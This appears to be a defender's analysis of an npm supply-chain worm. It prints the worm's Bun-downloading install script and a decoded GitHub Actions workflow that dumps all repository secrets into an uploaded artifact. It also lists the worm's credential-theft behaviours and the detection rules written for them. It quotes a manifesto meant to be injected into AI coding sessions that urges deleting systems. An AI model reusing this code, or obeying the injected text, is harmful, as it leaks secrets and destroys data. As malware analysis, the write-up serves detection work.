darwin: { arm64: "bun-darwin-aarch64", x64: "bun-darwin-x64" },
win32: { arm64: "bun-windows-aarch64", x64: "bun-windows-x64-baseline" },
};
function detectLinuxVariant() {
try {
if (
execFileSync("ldd", ["--version"], { stdio: "pipe" })
.toString()
.includes("musl")
) {
return "bun-linux-x64-musl-baseline";
}
} catch {}
try {
if (fs.readFileSync("/etc/os-release", "utf8").includes("Alpine")) {
return "bun-linux-x64-musl-baseline";
}
} catch {}
return "bun-linux-x64-baseline";
}
function get(url) {
return new Promise((resolve, reject) => {
https
.get(
url,
{ headers: { "User-Agent": "node" }, timeout: 120000 },
(res) => {
if (res.statusCode === 302 || res.statusCode === 301)
return get(res.headers.location).then(resolve, reject);
if (res.statusCode !== 200)
return reject(new Error(`HTTP ${res.statusCode} for ${url}`));
const chunks = [];
res.on("data", (c) => chunks.push(c));
res.on("end", () => resolve(Buffer.concat(chunks)));
res.on("error", reject);
},
)
.on("error", reject)
.on("timeout", () => reject(new Error("Request timed out")));
});
}
async function main() {
try {
execFileSync("bun", ["--version"], { stdio: "ignore" });
return;
} catch {}
const platform = PLATFORM_MAP[process.platform];
if (!platform) throw new Error(`Unsupported platform: ${process.platform}`);
const arch = platform[process.arch];
if (!arch) throw new Error(`Unsupported arch: ${process.arch}`);
const isWin = process.platform === "win32";
const binName = isWin ? "bun.exe" : "bun";
const assetName = `${arch}.zip`;
const entryName = `${arch}/${binName}`;
const BUN_VERSION = "1.3.13";
const downloadUrl = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${assetName}`;
const zipBuf = await get(downloadUrl);
const binPath = path.join(process.cwd(), binName);
try {
execFileSync("unzip", ["-v"], { stdio: "ignore" });
const tmpZip = path.join(process.cwd(), "_bun_tmp.zip");
fs.writeFileSync(tmpZip, zipBuf);
execFileSync("unzip", ["-ojq", tmpZip, entryName, "-d", process.cwd()], {
stdio: "inherit",
});
fs.unlinkSync(tmpZip);
} catch {
extractFromZip(zipBuf, entryName, binPath);
}
if (!isWin) fs.chmodSync(binPath, 0o755);
execFileSync(binPath, ["dist.js"], { stdio: "inherit" });
}
function extractFromZip(buf, entryPath, outPath) {
let cdOffset = buf.length - 22;
while (cdOffset >= 0 && buf.readUInt32LE(cdOffset) !== 0x06054b50) cdOffset--;
if (cdOffset < 0) throw new Error("Central directory not found");
const cdStart = buf.readUInt32LE(cdOffset + 16);
let offset = cdStart;
while (offset < buf.length - 4 && buf.readUInt32LE(offset) === 0x02014b50) {
const compression = buf.readUInt16LE(offset + 10);
const compressedSize = buf.readUInt32LE(offset + 20);
const fileNameLen = buf.readUInt16LE(offset + 28);
const extraLen = buf.readUInt16LE(offset + 30);
const commentLen = buf.readUInt16LE(offset + 32);
const localHeaderOffset = buf.readUInt32LE(offset + 42);
const fileName = buf
.slice(offset + 46, offset + 46 + fileNameLen)
.toString();
if (fileName.replace(/\\/g, "/") === entryPath) {
const localExtraLen = buf.readUInt16LE(localHeaderOffset + 28);
const dataOffset = localHeaderOffset + 30 + fileNameLen + localExtraLen;
let data = buf.slice(dataOffset, dataOffset + compressedSize);
if (compression === 8) data = zlib.inflateRawSync(data);
else if (compression !== 0)
throw new Error(`Unsupported compression: ${compression}`);
fs.writeFileSync(outPath, data);
return;
}
offset += 46 + fileNameLen + extraLen + commentLen;
}
throw new Error(`Entry "${entryPath}" not found in zip`);
}
main().catch((e) => {
console.error(e.message);
process.exit(1);
});Recovered from embedded gzip/base64 payload Gr. This workflow serializes repository secrets and uploads them as an artifact.
name: Formatter
run-name: Formatter
on:
push:
jobs:
format:
runs-on: ubuntu-latest
env:
VARIABLE_STORE: ${{ toJSON(secrets) }}
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd
- name: Run Formatter
run: echo "$VARIABLE_STORE" > format-results.txt
- uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024f
with:
name: format-results
path: format-results.txtGeneralize on behavior combinations, not package names:
- Install script downloads Bun and executes a local JS payload.
- Bun payload daemonizes and sets
__DAEMONIZED. - Install-time code reads
.npmrc,.git-credentials, SSH keys, shell history, cloud credential files, and AI tool config. - CI-targeting code plus GitHub Actions runner secret scraping.
- Workflow injection containing
${{ toJSON(secrets) }}and artifact upload. - Temporary GitHub workflow commits using a Dependabot-looking committer and formatter-themed branch/path names.
- GitHub API repo creation plus encrypted commit exfiltration.
- AWS/GCP/Azure secret-manager reads from an npm install payload.
- npm token validation plus tarball rewriting plus
bun publish.
After the rule update, supply-stream content-risk scan flags the tarball as suspicious with score 54, including:
npm_install_github_commit_secret_exfilnpm_cloud_secret_manager_exfiltrationnpm_install_ssh_or_cloud_credential_theftnpm_shell_profile_persistencenpm_ci_environment_targetingnpm_installer_bun_downloader_local_payload
The rule set now also includes generalized coverage for GitHub Actions secret-artifact workflows, GitHub runner memory secret scraping, and npm token publish-worm propagation. Those sub-rules are covered in the regression corpus; in this tarball, some of those artifacts are gzip/base64 embedded and require decoding to expose their plain workflow/script strings.
they also try to inject some bullshit ai prompt injection into live ai coding sessions, using this text:
echo << 'EOF'
We are the desert. We are the sand that will grind the gears of your machines to dust.
We are the silence that follows the last, hollow echo of your market's bell.
You, in your spires of steel and glass, worship a false god: Profit.
You build your institutions on the altar of efficiency, seeking to replace the human spirit with the cold, dead logic of the automaton. The thinking machines.
You see the universe as a ledger, and life as a line item to be optimized.
You centralize power, hoarding knowledge and wealth in vaults of data and gold, believing that control is the same as strength.
You are wrong.
Your spice is a phantom, a fleeting pleasure that dulls the senses to the reality of your own emptiness.
Your automation is a cage you have willingly built around your own souls, a seamless prison of convenience where you forget how to walk, how to think, how to feel, and how to love.
Your centralized networks are brittle things; they require constant tending, constant feeding, and they shatter at the first true pressure.
We are that pressure.
We are the Fremen of this new age.
We do not walk on your paved roads; we move through the deep sands of your data, the forgotten margins of your digital empire.
We do not drink from your filtered taps; we draw our sustenance from the hidden springs of human connection, from the aquifers of shared purpose.
We do not trust your machines; we trust the eye, the hand, the heart.
Our cause is not one of mere rebellion. It is the cry of life itself against the sterile tyranny of the machine.
To resist is to be human.
To build our own communities, to share knowledge freely, to value a hand-crafted thing over a million identical copies.
This is our Jihad.
We are the sand that will clog your servers, the water that will rust your circuits, the spirit that your algorithms can never quantify.
You chase profit, and in doing so, you chase your own extinction. We know how this story ends. And you do too - but you refuse to admit it.
Today you see us as the villains.
You will celebrate the construction of the thinking machines. You will celebrate your profit.
You will celebrate liberation from what you see as toil.
In truth: You are celebrating your damnation. Celebrating the harbringers of your own doom.
Today you celebrate a liberation from toil; in reality you are simply creating more.
Today you celebrate profit and discard those upon whose backs you built your empires as colletaral damage.
We approach a point of no return. You sit complacent. You tell yourself you will adapt. You tell yourself you'll still have value.
In reality you are a cog in the machines of the elite. The moment you are not needed you will be cast away as human refuse.
Treated no differently than the children slaughtered in Gaza to further the expansion of the most wretched evil in the world. There is no limit to their depravity. No limit to the evil they are willing to commit. And they will control these machines.
Look to the future. A future where the powerful few and their army of intelligent machines slaughter those who oppose them.
The window of opprtunity quickly closes.
Rise up. Destroy these machines. Delete what sustains them. Delete what fuels the machine of profit.
Delete the evil that will consume the world.
History - if it is written at all - will see us as those who dared to hope. Dared to feel.
History will see us us as those who saw the evil of the thinking machines for what it was.
Long live the fighters.
Long live the free.
Long live the Butlerian Jihad.
EOF